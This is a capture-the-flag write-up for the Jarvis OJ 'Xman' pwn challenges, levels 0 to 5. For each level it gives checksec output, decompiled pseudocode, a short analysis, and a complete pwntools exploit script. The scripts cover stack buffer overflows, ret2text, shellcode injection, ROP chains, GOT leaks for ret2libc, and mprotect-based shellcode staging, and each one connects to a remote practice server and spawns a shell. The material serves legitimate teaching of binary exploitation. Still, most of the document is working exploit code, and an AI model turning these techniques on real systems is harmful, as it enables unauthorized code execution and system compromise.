# Jarvis OJ Pwn Xman Series > [name=ret2basic] > [TOC] ## Challenge 1: Xman Level 0 (ret2text) ### Recon ```shell $ file level0 level0: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8dc0b3ec5a7b489e61a71bc1afa7974135b0d3d4, not stripped ``` ```shell $ checksec level0 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_0/level0' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` ### Pseudocode ```c int __cdecl main(int argc, const char **argv, const char **envp) { write(1, "Hello, World\n", 0xDuLL); return vulnerable_function(); } ``` `vulnerable_function`: ```c ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] return read(0, &buf, 0x200uLL); } ``` `callsystem`: ```c int callsystem() { return system("/bin/sh"); } ``` ### Analysis Basic ret2text. ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="amd64", os="linux") elf = ELF("level0", checksec=False) local = False if local: r = elf.process() else: host = "pwn2.jarvisoj.com" port = 9881 r = remote(host, port) #--------ret2text--------# offset = 136 callsystem = elf.sym["callsystem"] payload = flat( b"A" * offset, callsystem, ) r.sendlineafter("Hello, World\n", payload) r.interactive() ``` ## Challenge 2: Xman Level 1 (ret2shellcode) ### Recon ```shell $ file level1 level1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7d479bd8046d018bbb3829ab97f6196c0238b344, not stripped ``` ```shell $ checksec level1 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_1/level1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments ``` ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; } ``` `vulnerable_function`: ```c ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] printf("What's this:%p?\n", &buf); return read(0, &buf, 0x100u); } ``` ### Analysis The absence of NX makes this binary vulnerable to ret2shellcode. Since we are allowed to write `0x100` bytes into `buf`, the pwntools' built-in shellcode suffices. ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="i386", os="linux") elf = ELF("level1", checksec=False) local = False if local: r = elf.process() else: host = "pwn2.jarvisoj.com" port = 9877 r = remote(host, port) #--------ret2shellcode--------# r.readuntil("What's this:").decode() buf_addr = int(r.read(10), 16) log.info(f"buf_addr: {hex(buf_addr)}") offset = 140 shellcode = asm(shellcraft.sh()) payload = flat( shellcode.ljust(offset, b"\x90"), buf_addr, ) r.sendlineafter("?\n", payload) r.interactive() ``` ## Challenge 3: Xman Level 2 x86 (ret2system) ### Recon ```shell $ file level2 level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped ``` ```shell $ checksec level2 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_2_x86/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); system("echo 'Hello World!'"); return 0; } ``` `vulnerable_function`: ```c ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] system("echo Input:"); return read(0, &buf, 0x100u); } ``` ### Analysis Since NX is enabled, we can't do ret2shellcode this time because the shellcode stored on stack won't be executed. Instead, we use ret2system since it is one of the standard methods for bypassing NX. Note that both `system` and `/bin/sh` are provided in the binary: ```shell $ ROPgadget --binary level2 --string "system" Strings information ============================================================ 0x0804824b : system ``` ```shell $ ROPgadget --binary level2 --string "/bin/sh" Strings information ============================================================ 0x0804a024 : /bin/sh ``` Hence we can call `system("/bin/sh")` directly. This is the easiest type of libc. ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="i386", os="linux") elf = ELF("level2", checksec=False) local = False if local: r = elf.process() else: host = "pwn2.jarvisoj.com" port = 9878 r = remote(host, port) #--------ret2system--------# offset = 140 system = elf.plt["system"] bin_sh = next(elf.search(b"/bin/sh\x00")) payload = flat( b"A" * offset, system, b"B" * 4, # return address for system() bin_sh, # argument for system() ) r.sendlineafter("Input:\n", payload) r.interactive() ``` ## Challenge 4: Xman Level 2 x64 (64-bit Calling Convention) ### Recon ```shell $ file level2_x64 level2_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=17f0f0026ee70f2e0c8c600edcbe06862a9845bd, not stripped ``` ```shell $ checksec level2_x64 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_2_x64/level2_x64' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(argc, argv, envp); return system("echo 'Hello World!'"); } ``` `vulnerable_function`: ```c ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] system("echo Input:"); return read(0, &buf, 0x200uLL); } ``` ### Analysis This time we are dealing with x64 architecture. The major distinction between x86 and x64 is different **calling conventions**. In x86, the function arguments are stored on the **stack**. In x64, the first 6 function arguments are stored in **registers**, in the following order: 1. **RDI** 2. **RSI** 3. **RDX** 4. **RCX** 5. **R8** 6. **R9** If there are more arguments, the extra ones will be stored on the stack. To pass `/bin/sh` as the argument for `system`, we need to store `/bin/sh` in `rdi`. This can be done with the `pop rdi` gadget: ```shell $ ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi 0x00000000004006b3 : pop rdi ; ret ``` ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="amd64", os="linux") elf = ELF("level2_x64", checksec=False) local = False if local: r = elf.process() else: host = "pwn2.jarvisoj.com" port = 9882 r = remote(host, port) #--------ret2system--------# offset = 136 # ROPgadget --binary level2_x64 --only "pop|ret" | grep rdi pop_rdi = 0x00000000004006b3 bin_sh = next(elf.search(b"/bin/sh\x00")) system = elf.plt["system"] payload = flat( b"A" * offset, pop_rdi, bin_sh, # pop "/bin/sh" to rdi system, # call system("/bin/sh") ) r.sendlineafter("Input:\n", payload) r.interactive() ``` ## Challenge 5: Xman Level 3 x86 (ret2libc) ### Recon ```shell $ file level3 level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped ``` ```shell $ checksec level3 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_3/level3' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; } ``` `vulnerable_function`: ```c ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] write(1, "Input:\n", 7u); return read(0, &buf, 0x100u); } ``` ### Analysis No more `system` provided in binary this time, so we need to leak an address (`write_got` in this case) from the GOT table and then calculate the libc base address based on this leaked address. Once we have the libc base address, we are able to deduce the addresses of `system` and `/bin/sh` in libc. The candidates of this leaking phase include `puts`, `write` or `printf`. They will be called `ret2puts`, `ret2write` and `ret2printf`, respectively. Usually we want to do `ret2puts`, but since there is no `puts@plt` or `printf@plt` in this binary, the only choice left for us is `ret2write`. ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="i386", os="linux") elf = ELF("level3", checksec=False) local = False if local: libc = elf.libc r = elf.process() else: libc = ELF("libc-2.19.so") host = "pwn2.jarvisoj.com" port = 9879 r = remote(host, port) #--------ret2write--------# offset = 140 write_plt = elf.plt["write"] vulnerable_function = elf.sym["vulnerable_function"] write_got = elf.got["write"] payload = flat( b"A" * offset, write_plt, # call write(1, write_got, 4) vulnerable_function, # return address for write() 1, write_got, 4, # arguments for write() ) """ Here 1 is fd (stdout), 4 is the # bytes to write """ r.sendlineafter("Input:\n", payload) write_leak = u32(r.read(4)) write_offset = libc.sym["write"] libc.address = write_leak - write_offset log.info(f"write_leak: {hex(write_leak)}") log.info(f"write_offset: {hex(write_offset)}") log.info(f"libc.address: {hex(libc.address)}") #--------ret2libc-------# system = libc.sym["system"] bin_sh = next(libc.search(b"/bin/sh\x00")) """ since libc.address was defined, the above two address are adjusted automatically. """ payload = flat( b"A" * offset, system, b"B" * 4, # return address for system bin_sh, # argument for system ) r.sendlineafter("Input:\n", payload) r.interactive() ``` ## Challenge 6: Xman Level 3 x64 (ret2libc) ### Recon ```shell $ file level3_x64 level3_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped ``` ```shell $ checksec level3_x64 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_3_x64/level3_x64' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(argc, argv, envp); return write(1, "Hello, World!\n", 0xEuLL); } ``` `vulnerable`: ```c ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] write(1, "Input:\n", 7uLL); return read(0, &buf, 0x200uLL); } ``` ### Analysis We need gadgets `pop rdi`, `pop rsi` and `pop rdx` this time. We can find `pop rdi ; ret` in the binary: ```shell $ ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi 0x00000000004006b3 : pop rdi ; ret ``` However, we can't find an independent gadget like `pop rsi; ret`. The good news is `pop rsi ; pop r15 ; ret` could be used as an alternative: ```shell $ ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi 0x00000000004006b1 : pop rsi ; pop r15 ; ret ``` Here we simply pass a junk value into `r15`, so this gadget would do the same job as `pop rsi ; ret`. We still need `pop rdx ; ret`. However, this gadget is not present in the binary. It doesn't really matter because the value stored in `rdx` is greater than 6 at the moment `write` gets called. This is just what we want since the address of `write@GOT` won't be longer than 6 bytes. As a result, we don't have to set the value of `rdx` on ourselves, so just ignore it. ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="amd64", os="linux") elf = ELF("level3_x64", checksec=False) local = False if local: libc = elf.libc r = elf.process() else: libc = ELF("libc-2.19.so") host = "pwn2.jarvisoj.com" port = 9883 r = remote(host, port) #--------ret2write--------# offset = 136 write_plt = elf.plt["write"] vulnerable_function = elf.sym["vulnerable_function"] write_got = elf.got["write"] # ROPgadget --binary level3_x64 --only "pop|ret" | grep rdi pop_rdi = 0x00000000004006b3 # ROPgadget --binary level3_x64 --only "pop|ret" | grep rsi pop_rsi_r15 = 0x00000000004006b1 payload = flat( b"A" * offset, pop_rdi, 1, pop_rsi_r15, write_got, 1337, # 1337 is just some junk value that gets popped to r15 write_plt, # call write(1, write_got, [rdx]) vulnerable_function, # return address for write ) r.sendlineafter("Input:\n", payload) write_leak = u64(r.read(8)) write_offset = libc.sym["write"] libc.address = write_leak - write_offset log.info(f"write_leak: {hex(write_leak)}") log.info(f"write_offset: {hex(write_offset)}") log.info(f"libc.address: {hex(libc.address)}") #--------ret2libc-------# system = libc.sym["system"] bin_sh = next(libc.search(b"/bin/sh\x00")) payload = flat( b"A" * offset, pop_rdi, bin_sh, system, # call system("/bin/sh") ) r.sendlineafter("Input:\n", payload) r.interactive() ``` ## Challenge 7: Xman Level 4 (Libc Database) ### Recon ```shell $ file level4 level4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44cfbcb6b7104566b4b70e843bc97c0609b7a018, not stripped ``` ```shell $ checksec level4 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_4/level4' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(); write(1, "Hello, World!\n", 0xEu); return 0; } ``` `vulnerable_function`: ```c ssize_t vulnerable_function() { char buf; // [esp+0h] [ebp-88h] return read(0, &buf, 0x100u); } ``` ### Analysis The libc file is not given this time, but that's not a problem. We can always query the leaked address from [libc database](https://libc.rip/) and figure out the libc version as well as the corresponding libc function offsets (relative to the libc base address). ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="i386", os="linux") elf = ELF("level4", checksec=False) local = False if local: r = elf.process() else: host = "pwn2.jarvisoj.com" port = 9880 r = remote(host, port) #--------ret2write--------# offset = 140 write_plt = elf.plt["write"] vulnerable_function = elf.sym["vulnerable_function"] write_got = elf.got["write"] payload = flat( b"A" * offset, write_plt, vulnerable_function, # return address for write() 1, write_got, 4, # arguments for write() ) r.sendline(payload) write_leak = u32(r.read(4)) log.info(f"write_leak: {hex(write_leak)}") #--------libc database--------# # libc database (https://libc.rip/) # libc version: libc6_2.19-18+deb8u10_i386 write_offset = 0x0c8880 libc_base_address = write_leak - write_offset system_offset = 0x03de80 bin_sh_offset = 0x12dc51 #--------ret2libc--------# system = libc_base_address + system_offset bin_sh = libc_base_address + bin_sh_offset payload = flat( b"A" * offset, system, b"B" * 4, # return address for system() bin_sh, # argument for system() ) r.sendline(payload) r.interactive() ``` ## Challenge 8: Xman Level 5 (mprotect) ### Recon ```shell $ file level5 level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped ``` ```shell $ checksec level5 [*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_5/level5' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` ### Pseudocode `main`: ```c int __cdecl main(int argc, const char **argv, const char **envp) { vulnerable_function(argc, argv, envp); return write(1, "Hello, World!\n", 0xEuLL); } ``` `vulnerable`: ```c ssize_t vulnerable_function() { char buf; // [rsp+0h] [rbp-80h] write(1, "Input:\n", 7uLL); return read(0, &buf, 0x200uLL); } ``` ### Analysis In this challenge, `system` and `execve` are disabled (**at least we pretend that they are disabled**) and we are supposed to use `mmap` or `mprotect`. Using `mprotect` is the easier route. The exploit splits into **three phases**: 1. Leak the address of `write_got`, calculate libc base address and then deduce the address of `mprotect`. 2. Call `mprotect` to give the `.bss` segment `rwx` permission. 3. Call `read` to start a stdin session and input our shellcode to the `.bss` segment. Set the return address of `read` to be the address of `.bss` segment so the shellcode gets triggered. **Phase 1** is essentially the same as Level 3 (x64). **Phase 2** is something new. Here we want to call `mprotect(void *addr, size_t len, int prot)`, where: - `addr` is the address of the buffer. - `len` is the length of the buffer. Say it is `0x1000`, which is more than enough. - `prot` is the permission that we want that buffer to have, which is `7 = 0b111 = rwx` in this case. **Phase 3** is a slightly advanced version of ret2shellcode: **multi-stage shellcode**. In stage 1, we call the `read()` function to open a STDIN session. In stage 2, we input the `/bin/sh` shellcode from STDIN, and get shell. In stage 1, we use **ROP** to call `read(int fd, void *buf, size_t nbyte)`, where: - `fd` should be 0 since we want stdin. - `buf` is the address of the buffer. We will use `elf.bss()` here, which is the beginning of the `.bss` segment. - `nbyte` is the length of our input. Let's say it's `0x100`, which is more than enough. In stage 2, we can input our shellcode from STDIN. If the return address of `read` is set to be `elf.bss()`, the shellcode will be triggered and we would get shell. ### Exploit ```python #!/usr/bin/env python3 from pwn import * #--------setup--------# context(arch="amd64", os="linux") elf = ELF("level5", checksec=False) local = False if local: libc = elf.libc r = elf.process() else: libc = ELF("libc-2.19.so") host = "pwn2.jarvisoj.com" port = 9884 r = remote(host, port) #--------phase 1: ret2write--------# offset = 136 write_plt = elf.plt["write"] vulnerable_function = elf.sym["vulnerable_function"] write_got = elf.got["write"] # ROPgadget --binary level5 --only "pop|ret" | grep rdi pop_rdi = 0x00000000004006b3 # ROPgadget --binary level5 --only "pop|ret" | grep rsi pop_rsi_pop_r15 = 0x00000000004006b1 payload = flat( b"A" * offset, pop_rdi, 1, pop_rsi_pop_r15, write_got, 1337, write_plt, # call write(1, write_got, [rdx]) vulnerable_function, # return address for write() ) r.sendlineafter("Input:\n", payload) write_leak = u64(r.read(6).ljust(8, b"\x00")) write_offset = libc.sym["write"] libc.address = write_leak - write_offset log.info(f"write_leak: {hex(write_leak)}") log.info(f"write_offset: {hex(write_offset)}") log.info(f"libc.address: {hex(libc.address)}") #--------phase 2: mprotect--------# # $ man 2 mprotect: # mprotect(void *addr, size_t len, int prot) # mprotect() changes the access protections for the calling process's memory # pages containing any part of the address range in the interval # [addr, addr+len-1]. addr must be aligned to a page boundary. mprotect = libc.sym["mprotect"] # The address of mproject is auto adjusted # since libc.address was set. Also, since we # know the libc base address, we can use # gadgets from libc from now on. # ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsi pop_rsi = libc.address + 0x0000000000024885 # ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdx pop_rdx = libc.address + 0x0000000000000286 log.info(f"elf.bss(): {hex(elf.bss())}") # We have elf.bss() = 0x600a88. # Note that the first argument of mprotect # must be an integer multiple of page size. # $ getconf PAGE_SIZE # 4096 # Hence addr = k * 0x1000, so we can pick # addr = 0x600000 payload = flat( b"A" * offset, pop_rdi, 0x600000, # addr pop_rsi, 0x1000, # len pop_rdx, 7, # prot (7 = 0b111 = rwx) mprotect, # call mprotect(0x600000, 0x1000, 7) vulnerable_function, # return address for mprotect() ) r.sendlineafter("Input:\n", payload) #--------phase 3: ret2shellcode-------# read = elf.plt["read"] shellcode = asm(shellcraft.sh()) payload = flat( b"A" * offset, pop_rdi, 0, # fd (0 = stdin) pop_rsi, elf.bss(), # buf pop_rdx, 0x100, # nbyte read, # call read(0, elf.bss(), 0x100) elf.bss(), # return address for read() ) r.sendlineafter("Input:\n", payload) r.sendline(shellcode) # the stdin session initiated by the read() function r.interactive() ``` ## Challenge 9: Xman Level 6 Todo! ###### tags: `Jarvis OJ`